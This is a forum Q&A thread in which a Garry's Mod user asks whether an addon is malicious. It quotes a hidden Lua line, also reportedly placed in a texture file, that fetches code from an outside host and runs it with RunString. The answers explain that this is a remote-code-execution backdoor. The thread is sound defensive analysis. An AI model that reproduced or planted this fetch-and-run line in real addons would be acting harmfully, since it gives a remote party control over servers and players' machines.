Is this glua code a malicious code or not?

roty2Poulet 0
Viewed 39

I received a sus version of a addon (gmod) and it has this inside:

timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=2SzqLfShfxnu81uPmMOi", function(b) RunString(b, ":", false) end)end)

and also another file in 'materials/npc/' called 'help.vtf' with the same code inside.

Could you help me to know if it is a backdoor or other malicious programm please ?

(and I also added to total lua file: https://mega.nz/file/tLtnwC4Y#r5wqK-JRQPm3BZrA3x9FUIkzw5rjXgFq4HG8pf0yuMA)

garrys-mod virus add-on lua
3 Answers

Whether it's malicious or not depends entirely on what you expect it to do. If you don't expect it to download some random file from the internet and run it as code, then yes, it's malicious.

I'm not familiar with this API, so I'll just guess what the functions do from their names:

timer.Simple(1, function() -- Some sort of timer to run the code after some delay
   -- Download a file from some URL
   http.Fetch("https://kvac.cz/f.php?key=2SzqLfShfxnu81uPmMOi", function(b)
      -- Probably a callback function that runs when the file from the given
      -- URL has finished downloading. The `b` parameter is probably the
      -- content of the downloaded file.
      RunString(b, ":", false) -- Going by the name: Takes a string (b) and runs it
                               -- like normal Lua code. No clue what the ":" does
   end)
end)

Opening the URL brings up nothing, but maybe the server is looking for some specific request headers to make sure you can't actually inspect the code.

If you really want to find out, you could try at your own risk to modify the code to display the downloaded code instead of running it, but that's probably not worth the danger of missing something.

DarkWiiPlayer0

We can't tell. Downloading & executing downloaded code is a clear remote code execution (RCE) vulnerability however. Perhaps this was intended as a purpose way of "protecting" the source (where the "key" would be a license key or similar) or as a way of providing easy updates we don't know.

The link is probably controlled by whoever distributes the script. It probably attempts to validate the key in PHP code and respond with the script if its valid; the key in your answer might be expired. You can't possibly know what this server does. Do you trust this server to always respond with a virus-free script? I wouldn't. It might send you malicious code only at halloween, the tenth of a month, midnight etc, only if the User-Agent is Garry's Mod (to mitigate basic attempts of viewing the script in a browser).

TL;DR: This is a RCE vulnerability. You must trust the server fully to trust the script.

LMD0

After printing the answer of the server by making a HTTP request, it returned me that:

statusCode      301
statusText      HTTP/1.1 301 Moved Permanently
headers
                connection      close
                report-to       {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=66sm1Zr0E1U%2FbH43528YJ6gWOSxcx%2BTBQ0pWY2NsFhGwjSAZm%2By5We2ra47fvl9tVZlaWSd2XKYL%2F6ehRrpO3%2BVybMLKS%2Bn32bpI9EWhyHZVRZ1Cs1iNMB9W"}],"group":"cf-nel","max_age":604800}
                cf-ray  74e253b08e14d6ee-CDG
                date    Wed, 21 Sep 2022 11:05:38 GMT
                transfer-encoding       chunked
                expires Wed, 21 Sep 2022 12:05:38 GMT
                cache-control   max-age=3600
                location        https://kvac.cz/f.php?key=0I98ooO0W2ZGDy9FjZAP
                alt-svc h3=":443"; ma=86400, h3-29=":443"; ma=86400
                nel     {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                server  cloudflare
body
roty2Poulet0
Related